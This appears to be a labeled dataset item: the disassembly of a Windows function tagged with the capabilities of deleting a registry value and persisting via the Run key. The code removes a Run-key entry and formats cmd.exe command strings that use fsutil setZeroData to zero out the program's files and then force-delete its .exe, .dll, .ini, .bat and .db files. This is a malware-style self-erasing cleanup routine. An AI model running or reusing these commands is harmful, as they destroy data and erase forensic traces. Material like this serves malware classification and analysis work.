Function at 0x477340
Capabilities:
Delete registry value
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x57cf46
mov eax, dword fs:[0]
push eax
mov eax, 0x11e4
call fcn.00537550
mov eax, dword [0x5f6ea4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov bl, cl
mov edx, 0x5fefa8
mov dword [ebp - 0x11d8], 0
xor eax, eax
mov dword [ebp - 0x11d4], 7
mov word [ebp - 0x11e8], ax
lea ecx, [edx + 2]
mov ax, word [edx]
add edx, 2
test ax, ax
jne 0x477397
sub edx, ecx
lea ecx, [ebp - 0x11e8]
sar edx, 1
push edx
push 0x5fefa8
call fcn.0044b740
mov dword [ebp - 4], 0
xor eax, eax
mov dword [ebp - 0x11c0], 0
mov dword [ebp - 0x11bc], 7
mov word [ebp - 0x11d0], ax
mov byte [ebp - 4], 1
test bl, bl
je 0x477446
cmp dword [ebp - 0x11d4], 8
lea eax, [ebp - 0x11e8]
cmovae eax, dword [ebp - 0x11e8]
push eax
push 0x5ff1b0
lea eax, [ebp - 0x9e8]
push str.ping_127.2__n_5__fsutil_file_setZeroData_offset0_length20000000___s___cd__d___s___Del__f__q__a_.exe_.bat
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0x11d0]
push 0xf
push str.cmd.exe__d__c__
call fcn.0044b740
lea ecx, [ebp - 0x9e8]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x477430
lea eax, [ebp - 0x9e8]
jmp 0x477571
push 0x5ff1b0
lea eax, [ebp - 0x218]
push 0x104
push eax
call fcn.0055a3d6
add esp, 0xc
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathStripPathW]
lea eax, [ebp - 0x218]
push eax
call dword [sym.imp.SHLWAPI.dll_PathRemoveExtensionW]
mov ebx, dword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
lea eax, [ebp - 0x11ec]
push 0
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push reloc.OLEAUT32.dll_SysReAllocString
call ebx
test eax, eax
jne 0x4774c4
lea eax, [ebp - 0x218]
push eax
push dword [ebp - 0x11ec]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 0x11ec]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push 0
lea eax, [ebp - 0x11ec]
push eax
push 0
push 0x20106
push 0
push 0
push 0
push str.SOFTWAREMicrosoftWindowsCurrentVersionRun
push SysReAllocString
call ebx
test eax, eax
jne 0x477509
lea eax, [ebp - 0x218]
push eax
push dword [ebp - 0x11ec]
call dword [sym.imp.ADVAPI32.dll_RegDeleteValueW]
push dword [ebp - 0x11ec]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x5fefa8
call fcn.004710e0
cmp dword [ebp - 0x11d4], 8
lea eax, [ebp - 0x11e8]
cmovae eax, dword [ebp - 0x11e8]
push eax
push 0x5ff1b0
lea eax, [ebp - 0x11b8]
push str.ping_127.2__n_5__fsutil_file_setZeroData_offset0_length20000000___s___cd__d___s___Del__f__q__a_.exe_.ini_.dll_.bat_.db
push eax
call dword [sym.imp.USER32.dll_wsprintfW]
add esp, 0x10
lea ecx, [ebp - 0x11d0]
push 0xf
push str.cmd.exe__d__c__
call fcn.0044b740
lea ecx, [ebp - 0x11b8]
lea edx, [ecx + 2]
nop dword [eax]
mov ax, word [ecx]
add ecx, 2
test ax, ax
jne 0x477560
lea eax, [ebp - 0x11b8]
sub ecx, edx
sar ecx, 1
push ecx
push eax
lea ecx, [ebp - 0x11d0]
call fcn.00452fa0
push 1
push 0x5e3180
lea ecx, [ebp - 0x11d0]
call fcn.00452fa0
cmp dword [ebp - 0x11bc], 8
lea ecx, [ebp - 0x11d0]
push 0x2710
cmovae ecx, dword [ebp - 0x11d0]
xor edx, edx
push 0
call fcn.00475b90
mov edx, dword [ebp - 0x11bc]
add esp, 8
cmp edx, 8
jb 0x4775f9
mov ecx, dword [ebp - 0x11d0]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x4775ef
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x47766c
push edx
push ecx
call fcn.00536da7
add esp, 8
mov edx, dword [ebp - 0x11d4]
xor eax, eax
mov dword [ebp - 0x11c0], 0
mov dword [ebp - 0x11bc], 7
mov word [ebp - 0x11d0], ax
cmp edx, 8
jb 0x477652
mov ecx, dword [ebp - 0x11e8]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x477648
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x477671
push edx
push ecx
call fcn.00536da7
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00536b66
mov esp, ebp
pop ebp
ret
call fcn.00552841
call fcn.00552841
int3